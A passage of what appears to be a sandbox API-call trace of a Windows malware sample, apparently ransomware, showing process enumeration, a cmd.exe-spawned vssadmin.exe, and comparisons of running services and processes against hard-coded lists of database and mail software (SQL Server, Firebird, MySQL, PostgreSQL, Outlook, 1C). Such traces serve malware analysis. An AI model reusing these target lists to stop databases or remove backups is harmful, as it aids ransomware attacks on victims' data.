th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0224.158] lstrlenW (lpString="taskhost.exe") returned 12 [0224.158] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0224.159] lstrlenW (lpString="cmd.exe") returned 7 [0224.159] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0224.160] lstrlenW (lpString="reader_sl.exe") returned 13 [0224.160] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0224.161] lstrlenW (lpString="conhost.exe") returned 11 [0224.161] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0224.162] lstrlenW (lpString="vssadmin.exe") returned 12 [0224.162] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0224.163] CloseHandle (hObject=0x320) returned 1 [0224.164] Sleep (dwMilliseconds=0x1f4) [0224.960] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e3b0 [0225.410] EnumServicesStatusExW (in: hSCManager=0x62e3b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0225.413] GetLastError () returned 0xea [0225.413] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xacc) returned 0x432aa90 [0225.413] EnumServicesStatusExW (in: hSCManager=0x62e3b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432aa90, cbBufSize=0xacc, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432aa90, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0225.832] CloseServiceHandle (hSCObject=0x62e3b0) returned 1 [0225.840] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0225.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.840] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0225.840] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0225.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0225.840] lstrlenW (lpString="AudioSrv") returned 8 [0225.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0225.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0225.840] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0225.841] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0225.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0225.841] lstrlenW (lpString="BFE") returned 3 [0225.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0225.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0225.841] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0225.841] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0225.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0225.841] lstrlenW (lpString="CscService") returned 10 [0225.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0225.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0225.841] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0225.841] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0225.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0225.842] lstrlenW (lpString="DcomLaunch") returned 10 [0225.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.842] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0225.842] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0225.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0225.842] lstrlenW (lpString="Dhcp") returned 4 [0225.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0225.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0225.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0225.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0225.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0225.843] lstrlenW (lpString="Dnscache") returned 8 [0225.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0225.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0225.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0225.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0225.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0225.843] lstrlenW (lpString="eventlog") returned 8 [0225.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0225.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0225.843] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0225.843] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0225.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0225.844] lstrlenW (lpString="EventSystem") returned 11 [0225.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0225.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0225.844] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0225.844] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0225.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0225.844] lstrlenW (lpString="gpsvc") returned 5 [0225.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0225.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0225.844] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0225.844] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0225.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0225.844] lstrlenW (lpString="LanmanWorkstation") returned 17 [0225.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.845] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0225.845] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0225.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0225.845] lstrlenW (lpString="lmhosts") returned 7 [0225.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0225.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0225.845] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0225.845] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0225.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0225.845] lstrlenW (lpString="MMCSS") returned 5 [0225.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0225.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0225.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0225.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0225.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0225.846] lstrlenW (lpString="MpsSvc") returned 6 [0225.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0225.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0225.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0225.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0225.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0225.846] lstrlenW (lpString="nsi") returned 3 [0225.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0225.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0225.847] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0225.847] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0225.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0225.847] lstrlenW (lpString="PlugPlay") returned 8 [0225.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0225.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0225.847] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0225.847] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0225.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0225.847] lstrlenW (lpString="Power") returned 5 [0225.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0225.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0225.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0225.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0225.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0225.848] lstrlenW (lpString="ProfSvc") returned 7 [0225.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0225.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0225.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0225.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0225.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0225.848] lstrlenW (lpString="RpcEptMapper") returned 12 [0225.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.848] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0225.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0225.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0225.849] lstrlenW (lpString="RpcSs") returned 5 [0225.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0225.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0225.849] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0225.849] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0225.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0225.849] lstrlenW (lpString="SamSs") returned 5 [0225.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0225.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0225.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0225.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0225.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0225.850] lstrlenW (lpString="Schedule") returned 8 [0225.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0225.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0225.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0225.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0225.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0225.850] lstrlenW (lpString="SENS") returned 4 [0225.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0225.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0225.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0225.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0225.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0225.850] lstrlenW (lpString="ShellHWDetection") returned 16 [0225.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.851] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0225.851] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0225.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0225.851] lstrlenW (lpString="Spooler") returned 7 [0225.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0225.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0225.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0225.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0225.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0225.851] lstrlenW (lpString="Themes") returned 6 [0225.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0225.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0225.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0225.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0225.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0225.852] lstrlenW (lpString="UxSms") returned 5 [0225.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0225.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0225.853] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0225.853] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0225.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0225.853] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432aa90 | out: hHeap=0x590000) returned 1 [0225.853] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0225.857] Process32FirstW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.858] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.858] lstrlenW (lpString="System") returned 6 [0225.859] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0225.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0225.859] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0225.859] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0225.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0225.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0225.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0225.859] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.860] lstrlenW (lpString="smss.exe") returned 8 [0225.860] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0225.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0225.860] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0225.860] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0225.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0225.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0225.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0225.861] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.862] lstrlenW (lpString="csrss.exe") returned 9 [0225.862] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0225.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0225.862] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0225.862] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0225.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0225.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0225.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0225.862] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.863] lstrlenW (lpString="wininit.exe") returned 11 [0225.863] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0225.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0225.863] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0225.863] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0225.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0225.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0225.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0225.864] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.865] lstrlenW (lpString="csrss.exe") returned 9 [0225.865] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0225.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0225.865] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0225.865] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0225.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0225.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0225.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0225.865] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.867] lstrlenW (lpString="winlogon.exe") returned 12 [0225.868] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0225.868] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0225.868] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0225.868] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0225.868] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0225.868] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0225.868] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0225.868] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.869] lstrlenW (lpString="services.exe") returned 12 [0225.869] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0225.869] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0225.869] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0225.869] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0225.870] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0225.870] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0225.870] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0225.870] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.871] lstrlenW (lpString="lsass.exe") returned 9 [0225.871] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0225.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0225.871] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0225.871] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0225.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0225.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0225.871] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0225.871] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0225.872] lstrlenW (lpString="lsm.exe") returned 7 [0225.872] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0225.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0225.872] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0225.872] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0225.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0225.872] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0225.872] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0225.873] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.873] lstrlenW (lpString="svchost.exe") returned 11 [0225.873] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0225.874] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0225.874] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0225.874] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0225.874] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0225.874] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0225.874] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0225.874] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.875] lstrlenW (lpString="svchost.exe") returned 11 [0225.875] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0225.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0225.875] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0225.875] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0225.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0225.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0225.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0225.875] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, 